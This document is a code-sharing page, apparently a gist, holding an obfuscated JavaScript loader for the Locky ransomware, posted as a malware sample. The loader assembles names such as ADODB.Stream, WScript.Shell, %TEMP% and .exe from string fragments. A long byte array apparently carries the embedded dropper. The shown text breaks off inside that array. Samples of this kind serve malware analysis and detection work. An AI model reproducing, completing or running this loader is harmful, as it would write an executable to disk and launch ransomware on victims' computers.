Instantly share code, notes, and snippets.

Embed
What would you like to do?
Locky embeds its dropper in the javascript loader
var Vg3 = "e" + "";
var Ab7 = "clos" + "";
function Zt4(EGk4){return EGk4;};var Du0 = "e" + "";
var Xb1 = "Fil" + "";
var ZOw = "veTo" + "";
var NCn = "Sa" + "";
function IVm2(QZd2){return QZd2;};var ZWu = "t" + "";
var RAs = "eTex" + "";
var Ix40 = "it" + "";
var Bq0 = "wr" + "";
var DPr = "n" + "";
var OJc2 = "ope" + "";
var BGm = "et" + "";
var Cl = "Chars" + "";
var TCm = "e" + "";
var Kn0 = "typ" + "";
var Uc9 = "eam" + "";
var KAk = "tr" + "";
var Su1 = ".S" + "";
var Se7 = "ADODB" + "";
var OYl8 = "ect" + "";
var Vu2 = "eObj" + "";
var Xs7 = "Creat" + "";
function TZt(Tm7){return Tm7;};var FYg4 = "n" + "";
var UXs = "joi" + "";
var DVe5 = "Code" + "";
var ZAn = "mChar" + "";
var Lj5 = "fro" + "";
var Th = "h" + "";
var YOu = "lengt" + "";
var Ua = "push" + "";
function RHb3(MQz){return MQz;};var Qe = "t" + "";
var Oc3 = "CodeA" + "";
var Zf = "char" + "";
var VWz9 = "h" + "";
var Em5 = "lengt" + "";
function BRr9(KYw){return KYw;};var Lg2 = "close" + "";
var Ba0 = "xt" + "";
var Xm8 = "Te" + "";
var GHa9 = "Read" + "";
function WEf9(GFi){return GFi;};var LFh0 = "ile" + "";
var Wg = "omF" + "";
var NZv = "adFr" + "";
var UCc = "Lo" + "";
var Cf = "open" + "";
var FPc6 = "t" + "";
var Wx6 = "arse" + "";
var Sq = "Ch" + "";
function Vc(Be0){return Be0;};var EAf = "pe" + "";
var Bs3 = "ty" + "";
var ZJa = "eam" + "";
var NLw5 = ".Str" + "";
var Ib = "ADODB" + "";
var UKq9 = "ect" + "";
var Jt2 = "eObj" + "";
var Lx3 = "Creat" + "";
var Rl4 = "gth" + "";
var URp9 = "len" + "";
var TOs8 = "h" + "";
var Dd = "lengt" + "";
function ZPr(Ph4){return Ph4;};var Ua6 = "lice" + "";
var Jp2 = "sp" + "";
var Pu9 = "th" + "";
var Ae6 = "leng" + "";
var GFn9 = "h" + "";
var HXq = "lengt" + "";
var Po = "ngth" + "";
var Cy3 = "le" + "";
var PJf9 = "th" + "";
var MZx2 = "leng" + "";
var BQv = "h" + "";
var Ro = "ngt" + "";
var Pa = "le" + "";
var Ep8 = "1" + "";
var QPp2 = " 32" + "";
var PBf6 = "Run" + "";
var Ne5 = "h" + "";
var Ui6 = "gt" + "";
var Ix4 = "len" + "";
var Fx0 = "th" + "";
var Av8 = "leng" + "";
var Gg = "9+/" + "";
var MNm = "5678" + "";
var Ey9 = "01234" + "";
var FJu7 = "xyz" + "";
var Ip = "stuvw" + "";
var St6 = "pqr" + "";
var KWa = "klmno" + "";
var EWt = "hij" + "";
var Wt = "cdefg" + "";
var NPd = "Zab" + "";
var ZOk7 = "WXY" + "";
var Ec8 = "TUV" + "";
var Ax = "PQRS" + "";
var Dr = "LMNO" + "";
var Dk0 = "GHIJK" + "";
var PIu = "EF" + "";
var EOh6 = "ABCD" + "";
var AHh4 = "xe" + "";
var EJj6 = ".e" + "";
var KRm = "3aQM" + "";
var Yb3 = "klY0" + "";
var NOs4 = "/" + "";
var Rg1 = "MP%" + "";
var Ex = "%TE" + "";
var Lr4 = "l" + "";
var Zb = "hel" + "";
var Hv5 = ".S" + "";
var HFk = "cript" + "";
var PJy = "WS" + "";
var Zz2 = "ct" + "";
var AJi = "bje" + "";
var STr = "teO" + "";
var Px = "Crea" + "";
var SYu = "7" + "";
var NTj = "43" + "";
function LDz(Lw7){return Lw7;};function Dd7(Xa7){return Xa7;};var Uk2 = "gth" + "";
var WQm8 = "len" + "";
function Mx(Xf){return Xf;};var JGz = "U" + "";
var XKw0 = "UUUUU" + "";
var Nw0 = "UUUUU" + "";
var PWc = "UUUUU" + "";
var NOt5 = "UUUU" + "";
var Zd = "UUU" + "";
var BBg8 = "UUU" + "";
var XHk4 = "UUU" + "";
var CTi = "32" + "";
var Xc = "11231" + "";
var SPx=((function FEt(){return Xc;}()) + CTi, XHk4 + (function Ec6(){return BBg8;}()) + (function XFw(){return Zd;}()) + Mx(NOt5) + PWc + Nw0 + XKw0 + JGz);
var ONo9=SPx[WQm8 + Uk2];
var VFi = 651077;
var v_bin0 = [198,2,213,81,221,59,246,84,60,252,244,135,217,7,248,38,10,161,219,161,108,155,206,222,221,118,49,152,231,74,232,12,213,44,81,53,171,234,111,183,43,61,87,229,12,120,80,213,77,143,158,37,137,62,228,87,221,171,108,205,80,199,193,128,130,155,119,104,35,236,252,133,253,128,136,156,48,28,31,7,2,96,76,42,45,215,57,189,89,255,107,204,36,241,177,3,32,189,131,59,129,168,88,24,189,98,130,83,120,212,212,15,0,142,128,59,86,180,227,17,215,228,235,98,32,204,230,25,70,104,206,249,149,228,4,10,217,34,77,200,10,225,74,67,227,104,213,255,188,243,92,55,124,132,30,181,63,62,20,85,108,228,27,220,66,116,166,90,46,174,125,135,219,123,74,150,199,229,30,100,39,94,4,43,100,252,71,207,120,74,122,7,80,8,200,38,202,73,124,30,73,110,205,166,33,191,32,244,151,96,38,170,32,31,189,191,19,245,253,66,45,244,119,141,142,209,106,72,133,174,244,5,54,188,86,16,82,155,220,87,52,11,230,229,193,229,82,101,191,55,124,210,235,121,177,217,169,24,56,113,124,157,140,194,70,165,14,254,122,186,226,13,19,111,177,184,77,68,20,103,144,180,151,154,192,24,143,70,155,19,70,116,98,21,220,31,154,232,54,92,112,189,230,91,217,188,48,111,246,8,120,43,73,52,161,154,201,89,60,25,110,60,39,70,46,216,168,19,161,34,36,126,230,177,128,109,25,173,213,52,91,12,148,103,211,90,220,25,145,221,56,141,194,131,88,111,249,178,23,49,244,247,32,149,60,17,120,70,77,158,176,94,62,133,81,137,180,122,188,75,87,108,61,162,188,78,168,220,59,5,8,239,231,240,116,51,137,117,151,5,52,85,126,167,159,228,84,3,140,150,195,173,20,66,77,231,107,123,181,200,3,106,175,3,124,126,195,219,57,88,239,96,225,226,232,134,10,121,131,5,220,83,111,246,68,84,246,186,145,162,162,227,211,214,195,40,194,208,84,72,139,239,128,212,184,8,68,124,6,11,66,181,42,6,81,172,15,250,41,191,16,180,25,74,111,171,217,0,149,240,239,154,241,198,115,198,212,136,188,227,99,251,65,89,163,177,17,229,5,60,231,136,52,160,85,82,2,90,122,231,96,233,35,105,213,119,225,235,74,190,98,95,243,143,104,0,117,204,54,171,227,213,194,172,66,135,151,213,81,183,187,57,99,60,105,249,157,183,128,129,184,127,220,12,1,255,29,48,205,165,215,201,29,25,94,157,113,21,3,218,63,222,116,86,158,223,93,138,113,0,145,117,240,226,37,168,66,136,251,145,9,210,98,102,75,174,229,182,191,184,64,131,230,1,68,72,101,5,134,91,71,249,3,13,125,150,82,246,106,72,220,37,13,205,159,245,4,149,43,202,178,45,187,104,36,92,93,1,86,202,68,122,180,199,14,212,20,170,108,171,179,247,114,60,91,185,131,85,134,241,110,237,215,168,47,13,211,107,113,131,214,156,49,75,230,45,229,183,92,70,43,161,154,80,244,179,132,126,250,55,32,59,238,46,62,125,62,220,149,150,164,173,163,113,38,252,145,91,203,16,34,207,14,180,49,92,36,30,123,248,98,88,227,133,4,100,166,33,114,62,87,7,172,138,112,16,25,0,217,5,64,128,125,110,182,69,164,42,139,231,215,16,71,213,14,76,57,157,182,173,137,160,184,75,178,162,76,191,209,93,167,221,123,22,192,91,189,136,115,25,100,149,181,130,185,167,0,84,118,72,242,22,105,61,42,129,72,158,96,120,171,52,228,104,140,213,166,89,38,64,91,205,46,59,79,25,39,53,255,230,63,59,92,225,164,129,204,62,4,212,170,224,222,25,145,24,142,178,91,6,245,10,195,230,25,16,92,49,11,231,156,16,240,60,88,209,182,250,143,78,124,231,96,12,47,18,229,219,174,237,35,228,160,8,183,91,191,42,6,193,76,10,195,196,195,99,143,181,93,77,153,240,0,67,3,176,171,91,94,192,65,105,16,107,126,255,50,249,222,19,180,139,168,29,199,57,30,15,173,20,243,241,239,36,26,89,85,116,100,35,212,186,159,166,60,64,17,156,165,215,38,227,197,138,241,143,207,12,128,254,37,106,36,125,116,252,137,104,86,197,194,191,162,124,44,49,38,188,137,8,182,92,222,40,56,169,74,23,23,141,142,160,83,116,143,217,223,131,145,208,128,95,45,177,198,75,64,70,58,170,26,25,149,13,16,213,249,52,45,71,231,61,116,98,178,88,255,27,166,216,10,167,59,189,135,47,186,28,13,1,49,81,182,250,54,171,190,53,20,45,177,168,101,162,226,85,6,128,88,134,90,57,214,2,121,253,190,230,86,203,146,242,174,24,250,13,180,74,254,51,77,28,122,58,209,171,245,130,34,204,169,121,184,63,58,41,34,169,137,72,115,125,60,149,105,246,131,33,181,229,33,246,48,37,112,97,229,147,1,246,35,239,117,123,231,211,121,192,50,61,99,235,201,176,22,87,242,2,168,131,248,248,177,87,105,51,125,253,243,252,28,63,92,29,68,150,150,11,62,226,13,58,85,59,10,2,104,114,247,234,231,240,248,150,169,229,231,15,118,44,136,161,237,35,51,101,234,50,53,226,16,205,6,56,178,10,87,80,217,6,106,171,132,247,165,137,208,162,114,198,44,132,191,144,66,202,148,63,72,115,113,82,197,51,32,121,77,154,124,119,153,175,50,100,160,194,126,163,83,77,244,192,22,157,141,186,163,228,174,208,218,69,181,138,237,189,135,30,50,87,137,200,128,5,18,118,141,12,102,76,76,225,251,95,89,33,221,208,81,130,249,1,216,200,152,55,35,26,41,110,238,65,34,180,221,235,188,139,41,123,233,198,2,146,20,87,160,53,59,199,146,81,0,213,212,248,117,169,215,30,65,251,201,148,141,116,130,167,184,148,7,199,165,58,122,154,167,245,30,39,132,190,192,133,167,162,205,180,46,167,216,172,2,89,239,220,185,113,47,167,197,210,200,245,34,183,90,212,178,4,252,173,24,72,82,222,229,245,38,105,244,82,89,78,61,25,167,18,253,198,148,167,22,12,77,141,182,231,224,145,123,209,51,194,164,204,132,177,123,36,28,252,42,222,46,103,1,181,251,183,40,207,171,115,209,222,178,136,29,184,87,144,129,224,211,150,250,109,67,101,200,121,253,62,173,111,250,210,121,87,97,220,102,216,144,3,123,200,165,50,15,241,57,213,46,94,166,63,179,232,23,153,146,28,227,200,28,46,27,113,210,188,135,204,115,64,185,4,108,35,21,65,143,107,161,168,2,35,223,242,15,185,110,246,192,119,142,230,248,178,112,26,178,119,98,124,223,230,104,129,89,218,117,124,188,204,218,215,113,75,158,71,224,84,140,99,251,128,183,2,65,59,136,11,110,139,30,239,158,86,17,172,238,27,221,102,60,246,211,35,52,70,182,255,116,209,142,240,186,205,250,219,39,117,224,56,30,156,233,253,65,249,72,68,255,99,127,124,54,116,42,7,254,152,186,187,196,82,71,69,95,129,230,113,175,130,47,254,35,36,40,86,33,28,166,90,244,213,100,245,78,153,218,246,150,188,220,51,252,98,6,205,14,16,20,134,33,168,72,53,92,220,183,64,246,189,145,155,91,144,172,153,229,198,39,67,176,0,150,32,39,233,96,229,52,155,19,5,60,205,240,231,245,26,246,66,51,56,96,155,235,47,86,16,50,75,168,105,162,46,22,191,243,244,240,133,2,65,117,172,158,151,81,253,247,235,158,61,185,130,7,16,73,159,114,146,211,241,231,189,255,143,238,100,163,121,128,244,86,132,87,181,211,41,230,132,163,244,26,77,199,170,193,109,191,212,219,253,9,45,4,49,113,195,213,188,207,43,50,203,61,71,164,203,69,15,44,7,247,218,5,9,6,23,49,15,56,184,7,242,251,203,248,228,20,238,6,141,255,30,142,59,85,31,168,50,105,71,202,232,169,207,42,201,70,132,221,120,109,26,170,86,14,170,5,186,62,132,63,87,236,178,42,28,174,160,158,198,137,139,7,32,201,31,26,203,166,187,163,131,100,63,170,243,123,148,81,244,140,157,153,200,44,151,122,61,94,30,42,12,119,5,109,182,113,15,184,13,245,243,182,142,176,106,194,228,179,44,141,229,52,17,233,165,40,28,215,199,235,163,82,173,170,151,179,51,221,126,107,121,251,125,35,1,131,240,184,219,98,211,166,140,174,206,152,237,73,154,167,42,178,1,122,18,217,194,33,152,179,132,48,226,152,60,247,67,128,150,103,73,42,238,13,178,28,77,104,183,66,218,152,210,58,127,27,26,245,247,173,219,92,198,35,119,53,163,98,6,101,171,27,8,216,132,190,106,46,62,168,63,120,107,183,157,218,1,121,209,63,49,101,132,181,239,25,196,220,169,134,151,139,170,134,56,138,217,102,89,201,215,113,10,50,244,128,54,131,122,211,190,106,162,183,9,161,183,49,146,233,9,164,151,61,83,166,115,113,237,189,38,170,203,174,188,177,26,47,236,137,248,139,98,47,157,161,39,171,49,18,75,189,242,29,113,39,197,138,27,79,217,112,183,218,200,36,48,255,231,104,164,87,60,72,124,215,118,44,130,216,235,231,23,34,71,121,94,224,21,101,58,115,209,204,208,205,42,226,71,26,209,209,37,179,79,74,238,107,136,68,12,46,34,197,134,52,111,9,90,252,148,163,239,159,116,116,114,72,115,134,168,94,105,250,76,89,222,165,181,47,195,156,11,218,118,74,232,244,228,67,16,119,105,236,110,163,15,246,26,231,86,174,152,122,128,15,67,123,63,38,9,100,5,192,237,228,200,158,82,129,52,107,230,167,144,241,198,122,155,214,125,181,162,178,36,253,2,108,31,243,38,57,198,128,125,93,180,160,167,238,35,245,2,18,211,11,36,168,122,224,115,196,154,114,116,51,221,251,116,140,91,57,215,16,244,180,240,67,173,135,231,169,33,165,63,214,193,209,4,195,179,80,253,223,161,39,124,129,34,207,111,222,218,108,115,130,167,187,246,26,90,194,141,51,100,53,156,1,98,24,190,169,103,155,228,245,147,240,169,63,172,138,177,224,13,113,163,149,78,54,77,91,50,120,235,168,170,182,17,182,51,98,211,197,71,234,43,202,165,31,1,241,87,109,111,16,90,249,53,218,186,36,201,50,60,99,25,45,38,33,18,17,163,209,208,132,244,137,232,85,186,136,252,94,79,149,20,152,1,117,207,82,148,31,136,60,116,19,226,23,10,185,6,222,48,223,130,252,104,215,155,193,192,196,243,19,82,167,125,121,63,53,7,46,141,44,190,64,240,29,169,248,115,111,103,13,93,63,215,214,238,190,4,81,97,162,54,69,191,49,42,106,39,96,87,151,15,98,43,122,179,0,183,204,204,209,204,229,50,59,36,6,216,122,244,125,66,158,186,127,254,126,218,27,138,219,113,47,88,206,169,232,90,180,14,86,206,135,38,142,246,179,84,184,39,206,236,193,217,49,115,23,50,15,114,133,21,29,246,208,6,244,67,40,185,141,113,217,65,17,43,188,75,117,67,1,69,250,72,151,218,227,167,48,220,171,123,96,115,219,165,230,78,140,190,139,1,21,2,208,4,101,166,143,195,111,155,186,172,109,205,48,164,136,51,13,127,205,237,79,107,86,1,138,163,90,97,35,56,23,236,194,183,212,161,221,152,206,57,199,182,96,69,230,112,188,162,247,177,174,6,226,84,78,75,20,49,169,94,17,224,102,255,20,171,220,22,34,163,12,220,100,208,182,67,222,118,137,217,249,161,244,134,206,125,165,59,229,188,58,202,119,31,202,44,218,35,235,46,91,176,222,207,6,129,205,252,2,84,231,117,221,208,74,194,124,74,180,250,119,154,44,231,37,174,172,61,110,98,188,66,81,179,171,113,54,91,211,79,209,250,7,82,59,252,76,28,133,50,115,111,200,118,194,243,158,243,220,199,197,13,0,54,40,70,5,61,165,119,236,58,201,181,81,93,192,48,128,222,118,218,235,207,59,111,177,124,160,173,59,144,122,230,197,188,107,37,205,57,157,219,211,19,51,107,70,47,235,64,95,146,188,33,96,139,181,175,13,175,82,253,112,102,63,185,213,71,108,64,203,114,44,254,19,189,5,194,49,120,73,84,106,160,37,132,191,210,239,75,23,180,140,230,139,110,190,172,185,1,72,183,202,201,112,238,19,203,229,136,232,71,26,97,176,235,235,192,132,113,191,131,246,13,187,114,86,254,177,14,118,167,169,93,66,224,116,46,147,211,174,164,248,114,80,1,216,21,111,212,178,142,217,213,188,32,65,182,107,35,28,103,4,227,169,117,209,105,138,221,65,12,23,135,102,38,109,28,78,238,5,131,199,162,195,6,153,7,235,50,227,112,212,157,49,124,171,49,102,97,58,58,36,76,89,152,9,217,213,41,100,35,48,109,199,12,149,97,180,137,186,238,77,158,137,73,190,222,129,149,161,87,75,74,157,208,241,29,118,214,39,168,58,12,214,87,191,177,217,8,219,49,188,18,55,85,80,129,226,236,194,176,115,253,121,203,185,170,45,197,149,127,169,8,146,126,124,54,155,169,208,97,154,97,58,148,63,174,3,17,62,242,124,180,146,152,254,197,187,139,165,61,163,250,109,254,59,159,19,113,182,42,100,49,225,97,47,227,173,1,39,50,68,161,137,200,113,126,83,212,155,158,162,139,104,83,234,42,132,87,211,134,69,81,211,179,181,112,184,156,76,157,6,188,12,189,237,237,214,138,122,180,196,66,34,149,181,180,115,238,155,36,116,249,126,2,116,174,182,15,41,139,100,206,118,94,218,91,143,99,201,60,137,71,221,168,20,199,72,154,85,80,237,160,8,21,230,39,64,129,48,81,7,190,141,249,107,122,99,67,223,195,214,6,67,202,197,196,238,85,170,70,147,178,124,145,134,54,110,56,86,158,64,21,32,228,96,179,219,194,227,151,234,13,236,142,84,160,49,148,185,121,34,217,250,58,132,112,83,13,138,216,45,250,146,201,23,114,135,16,185,161,172,240,185,75,82,113,14,72,177,2,79,40,57,252,89,140,182,52,26,39,48,72,220,217,181,231,0,88,250,64,119,97,18,73,119,208,79,10,229,41,60,111,110,86,250,105,96,21,188,116,68,67,155,42,158,98,44,2,36,54,109,176,250,215,167,218,9,78,71,9,238,167,18,223,48,222,45,142,39,5,58,165,122,26,5,38,175,84,75,201,59,170,54,101,213,163,46,230,199,117,245,60,88,8,137,253,164,209,72,225,2,188,198,194,76,175,125,63,230,154,177,135,159,109,118,64,132,139,123,111,80,81,122,0,253,171,242,32,24,174,49,80,236,229,132,75,209,233,188,80,61,195,252,190,107,6,144,144,192,1,53,74,222,95,159,68,142,221,152,139,173,215,136,128,202,31,169,86,170,131,201,136,220,201,3,116,245,82,130,19,141,166,179,169,211,56,30,225,49,200,192,120,94,132,132,47,61,247,246,120,215,4,95,206,239,138,100,24,105,156,53,165,217,224,43,18,44,41,238,49,179,138,247,147,183,196,152,118,113,141,56,234,240,34,184,57,104,155,93,43,197,22,247,74,90,11,217,198,23,7,200,49,32,243,249,238,229,187,3,57,30,81,49,184,106,58,36,105,56,101,188,47,163,137,124,33,57,72,76,84,230,230,212,4,153,74,136,194,83,149,109,184,23,28,112,57,132,185,26,222,123,69,37,76,85,181,113,166,220,86,122,140,18,85,197,77,107,244,101,21,162,67,254,189,56,136,78,161,173,33,168,217,150,80,160,142,160,214,132,90,91,220,170,172,21,102,21,30,144,80,29,221,173,60,80,153,19,126,238,195,172,254,69,194,229,250,171,125,209,247,216,64,223,81,7,206,13,239,91,164,237,168,86,163,173,1,191,51,155,213,32,95,149,30,74,141,9,224,204,138,228,198,242,81,53,220,130,94,253,251,35,115,115,54,178,95,135,14,126,248,132,99,210,207,19,155,204,91,231,228,87,236,37,250,122,195,199,212,34,83,243,142,216,86,6,159,216,60,70,251,191,6,30,159,140,7,57,198,228,121,133,117,156,89,176,52,171,12,111,67,255,126,137,26,156,32,110,195,182,74,117,62,152,78,204,170,38,56,16,202,78,11,128,79,71,77,85,123,119,115,225,152,67,35,185,216,219,199,208,185,194,68,22,43,114,109,147,89,50,152,58,126,165,247,43,137,162,127,68,86,241,222,7,234,105,43,105,64,103,204,72,75,81,63,67,229,128,101,109,91,181,198,146,14,30,113,12,72,100,212,47,127,173,62,157,37,96,201,224,219,76,130,227,244,164,47,201,229,87,191,5,225,95,215,255,142,135,192,82,125,39,44,153,7,6,2,74,198,148,105,154,154,208,99,226,224,97,82,241,128,235,212,115,190,34,224,127,101,210,136,158,155,42,79,7,47,98,126,183,216,216,96,161,23,60,123,15,85,134,55,169,131,110,57,229,86,18,196,223,132,91,86,111,236,1,135,91,5,38,245,90,240,216,112,247,196,20,166,41,168,144,183,41,116,19,17,212,131,173,254,36,95,76,70,221,98,138,132,47,211,67,202,29,184,120,149,157,34,164,119,176,133,60,222,193,173,12,170,91,169,77,245,199,117,21,21,78,150,151,250,19,116,190,214,204,55,27,156,140,134,211,74,20,38,162,121,165,249,232,163,100,202,225,225,37,97,146,199,195,207,92,255,157,195,193,155,107,62,225,125,103,103,225,100,56,9,57,49,65,95,193,108,151,107,244,1,255,27,153,1,68,117,226,8,237,141,25,87,198,236,211,43,36,19,255,102,237,164,150,179,248,224,193,235,192,233,221,8,226,152,82,72,103,88,119,28,127,232,136,81,206,246,133,33,16,223,238,100,73,177,156,168,205,29,93,255,113,0,98,27,70,24,43,74,218,218,1,47,35,244,0,34,183,3,100,34,68,146,99,14,251,77,20,19,10,43,70,118,3,196,34,162,255,144,77,202,222,26,38,185,226,82,91,45,30,146,47,244,31,81,32,17,68,96,166,143,68,172,120,124,212,116,213,72,219,119,146,156,79,216,225,42,160,221,122,71,255,118,250,146,137,249,224,144,94,218,112,125,218,26,88,18,65,77,208,83,7,137,125,50,178,241,159,45,58,210,94,173,61,120,163,67,138,5,31,70,100,100,48,21,194,124,225,23,210,43,208,12,237,120,252,221,220,148,52,2,90,147,0,51,15,168,71,122,191,142,218,65,158,171,198,209,193,162,53,210,72,134,87,26,166,4,187,57,136,108,170,49,100,43,221,92,156,194,154,10,99,1,190,87,105,57,233,121,136,107,239,179,219,10,145,217,165,79,141,222,184,51,62,51,136,185,123,173,217,12,49,242,136,142,172,217,34,231,165,218,163,60,101,84,159,20,31,17,193,13,191,118,50,95,9,95,123,16,142,195,49,152,45,235,49,209,35,97,226,90,141,38,216,140,61,36,149,36,114,39,86,239,61,142,222,247,131,122,174,34,132,210,36,226,195,207,91,28,234,66,77,30,88,112,251,25,255,115,83,9,218,76,248,41,77,62,185,169,150,108,225,144,149,36,26,18,224,251,110,206,240,127,34,93,94,36,188,169,93,38,142,169,188,253,174,87,10,16,195,49,128,134,131,5,175,155,255,176,187,22,163,79,194,252,73,234,112,5,254,128,212,91,161,195,99,254,44,19,237,58,111,189,24,254,233,199,222,227,3,14,116,138,143,206,67,160,81,85,252,162,7,186,200,16,27,47,210,0,232,187,35,58,142,231,156,57,217,135,211,120,128,152,131,245,228,179,45,144,130,108,57,80,11,86,116,184,71,3,89,101,6,3,82,205,250,32,255,214,134,167,50,220,82,86,216,17,222,146,107,45,15,42,8,212,7,122,166,124,31,251,49,251,60,40,231,107,21,138,43,60,136,66,199,165,104,204,86,97,83,134,134,109,132,137,65,27,70,57,33,233,220,128,136,74,36,165,64,24,94,113,180,66,150,53,48,6,133,17,83,19,36,15,131,26,63,222,43,201,137,167,141,175,3,15,38,58,69,47,188,180,162,40,220,15,123,123,212,87,34,61,202,237,33,8,156,206,40,249,186,122,168,106,35,198,109,125,73,184,6,233,248,86,192,201,172,74,231,7,234,157,10,49,168,84,75,177,81,7,250,135,132,117,7,38,229,244,184,140,252,222,12,182,0,179,88,43,113,23,1,102,196,111,91,29,213,141,191,43,44,125,187,4,53,65,247,194,40,155,165,148,251,45,125,128,214,161,164,248,188,41,49,249,194,65,171,252,68,172,162,227,201,156,14,109,231,22,0,119,115,133,189,249,71,253,49,159,157,71,108,249,48,30,1,232,0,164,74,81,1,83,106,186,185,50,159,119,180,113,65,72,216,240,37,151,25,250,205,119,22,161,16,216,203,103,43,243,144,199,68,231,56,55,209,169,82,84,230,125,174,34,130,49,114,124,234,192,109,121,211,129,252,121,121,213,68,197,38,48,148,67,76,236,65,117,64,16,14,211,12,163,126,104,106,190,157,85,62,200,72,90,197,6,237,252,55,209,31,34,111,211,180,31,185,185,219,139,138,236,201,197,227,159,132,52,207,234,246,22,251,254,78,205,190,230,142,131,64,77,223,109,21,154,4,126,199,251,109,145,149,112,31,81,101,62,137,126,12,202,78,187,11,215,184,91,46,54,137,143,14,56,97,175,85,83,45,148,241,95,213,185,193,18,157,183,254,136,218,234,231,80,218,223,125,173,34,230,80,111,15,114,104,183,191,169,134,214,4,17,61,18,189,146,79,228,126,230,223,246,166,80,42,165,15,140,223,132,233,133,74,147,163,108,178,152,182,84,247,159,166,173,24,53,111,145,139,249,100,80,137,12,58,230,132,178,211,217,105,117,51,227,184,110,82,152,138,5,199,130,150,190,202,84,159,186,213,225,252,116,227,61,34,3,96,251,245,110,122,228,207,91,11,118,127,255,92,172,212,149,217,126,183,210,36,67,182,135,15,218,5,214,138,231,192,61,217,232,90,21,196,144,78,12,154,208,17,187,84,117,24,37,87,44,41,1,207,117,31,76,114,185,65,76,208,168,179,192,200,4,34,91,174,157,79,238,148,171,208,24,41,156,66,156,81,51,99,75,7,220,230,250,50,120,193,182,85,191,5,23,138,177,136,138,116,156,230,92,29,148,122,230,220,220,225,119,223,106,75,22,123,13,227,254,63,72,253,112,68,164,120,143,210,189,212,164,136,142,112,2,183,30,247,130,173,253,222,72,234,48,34,207,198,147,62,161,2,223,178,4,71,149,214,84,202,225,249,3,233,65,131,75,26,10,156,103,239,117,185,102,24,105,110,210,27,7,86,76,52,24,144,78,236,172,138,44,77,196,73,75,80,114,156,181,163,164,241,93,140,231,223,57,112,109,240,124,22,134,243,184,246,243,34,238,29,72,39,23,66,238,48,44,96,133,194,110,42,105,172,85,98,58,109,216,209,144,234,12,120,230,80,210,213,64,70,214,205,163,233,1,233,158,93,197,22,11,7,94,10,247,4,60,120,254,45,153,56,48,152,54,240,68,93,232,52,11,139,221,100,202,23,177,98,108,251,17,199,152,165,196,88,94,170,210,60,31,226,169,231,124,108,11,192,150,112,59,211,215,168,145,145,230,249,192,235,32,222,253,33,219,219,94,245,246,82,85,54,236,156,128,157,76,86,211,210,244,108,87,139,159,173,19,128,249,158,197,38,69,211,153,255,119,122,85,33,204,40,242,251,228,104,174,102,73,12,198,166,198,248,128,217,31,173,23,157,167,176,193,164,7,196,166,129,181,172,232,99,127,70,194,128,110,101,187,79,23,148,31,54,42,149,252,159,109,239,45,15,130,246,116,223,214,117,86,141,200,52,202,20,100,131,183,174,204,53,142,114,223,83,86,238,120,237,22,232,10,166,126,147,196,32,231,128,62,237,59,132,168,30,195,91,97,47,119,69,145,246,226,205,251,2,221,155,207,147,36,147,124,133,80,207,112,79,26,216,216,177,231,58,223,208,41,59,27,143,224,139,237,101,19,80,185,74,130,142,9,0,15,135,232,6,193,90,251,130,240,202,182,108,124,192,99,199,71,165,141,219,155,206,111,201,104,136,62,233,188,61,236,43,26,67,191,34,31,145,98,228,169,189,129,252,114,249,254,80,89,134,249,131,207,164,255,122,91,93,211,72,101,166,44,155,200,136,97,195,116,163,94,28,187,149,158,189,146,109,136,48,132,255,64,187,212,193,220,181,88,51,94,221,174,243,226,126,14,81,146,128,174,174,43,243,121,118,11,83,29,200,21,226,229,11,4,115,243,18,248,121,28,35,248,210,92,54,94,152,119,17,163,174,190,110,56,81,120,146,27,63,191,171,10,3,37,110,172,39,246,120,80,31,246,25,128,140,174,218,227,155,61,187,105,97,47,28,134,222,175,89,188,119,186,168,10,173,124,187,57,20,20,202,222,154,38,39,102,130,61,66,92,104,42,104,89,244,203,129,119,41,31,234,112,20,213,47,220,89,200,242,154,58,135,93,230,98,193,35,164,245,17,0,79,172,49,252,36,67,22,209,50,99,111,144,252,168,243,184,10,61,126,121,36,129,53,123,242,51,234,241,30,215,144,251,200,110,254,8,29,169,80,61,204,169,177,230,103,75,138,12,149,83,66,97,11,215,21,117,50,120,248,168,123,183,149,170,5,106,37,250,88,146,47,69,200,240,76,47,69,32,134,69,78,174,174,127,212,214,216,213,123,73,219,123,64,149,124,222,137,205,170,15,194,255,138,239,251,70,87,137,184,142,51,4,233,221,196,7,78,53,144,112,88,90,30,136,203,116,129,200,52,192,133,220,204,219,237,223,167,133,239,180,136,213,65,157,168,122,97,23,236,231,156,140,140,68,131,193,85,126,108,45,145,50,233,154,99,249,208,137,38,218,157,201,129,122,60,94,250,105,82,38,207,145,188,44,128,69,26,208,15,170,141,51,241,95,217,114,230,234,38,180,177,200,169,152,105,210,105,118,66,180,183,123,188,105,14,132,59,223,39,65,62,110,22,221,113,173,164,11,37,232,161,222,213,232,73,168,248,111,105,55,193,14,134,56,231,179,165,147,41,254,180,183,224,170,214,76,116,253,193,15,28,33,137,55,174,71,47,96,190,139,88,251,154,174,229,101,112,196,122,37,96,99,130,187,217,234,21,78,219,160,110,252,239,141,160,182,252,58,48,17,87,189,37,150,61,8,71,104,58,225,1,224,19,192,47,97,113,251,112,9,77,188,133,191,171,242,110,247,72,46,224,129,74,239,242,7,163,214,11,143,4,37,114,41,77,190,215,180,221,235,43,33,251,100,219,82,218,183,46,181,21,175,214,6,131,156,118,32,39,118,35,143,142,34,14,214,109,129,96,137,171,208,20,85,107,7,183,48,89,86,206,232,0,253,45,247,200,32,44,5,140,215,169,139,179,203,193,103,9,172,229,141,238,179,87,53,228,54,16,199,85,62,177,39,11,88,66,216,128,161,184,14,42,211,23,209,56,122,177,53,141,147,230,105,13,0,82,38,143,124,223,71,34,164,97,107,206,241,87,94,92,150,17,213,87,185,175,123,228,57,27,86,7,85,97,85,78,53,240,212,4,168,195,179,111,16,206,83,201,122,90,231,42,141,147,211,237,11,105,182,38,231,168,152,100,156,215,248,230,252,13,14,236,163,27,189,117,166,229,15,43,149,11,57,60,254,172,12,184,26,115,95,94,237,53,227,103,177,121,22,151,137,183,133,215,54,63,104,5,105,121,114,49,187,70,238,229,217,6,100,10,30,189,68,210,59,231,147,3,49,162,145,74,127,7,17,115,211,245,33,27,119,16,220,189,216,12,146,167,167,197,36,131,195,139,85,8,186,241,216,169,87,122,14,203,36,181,224,192,210,25,249,23,248,40,174,32,69,123,13,214,99,211,201,206,14,255,163,200,110,84,23,66,218,172,205,32,239,250,57,206,162,207,6,83,235,246,42,224,83,198,245,178,108,98,245,248,194,1,249,221,165,93,118,22,157,181,198,229,163,124,47,205,191,133,191,172,135,92,174,148,83,194,155,208,247,149,149,44,199,48,196,233,79,69,172,111,171,111,205,208,4,18,228,30,137,208,150,76,216,200,253,102,97,225,85,173,205,145,87,43,158,85,126,210,225,16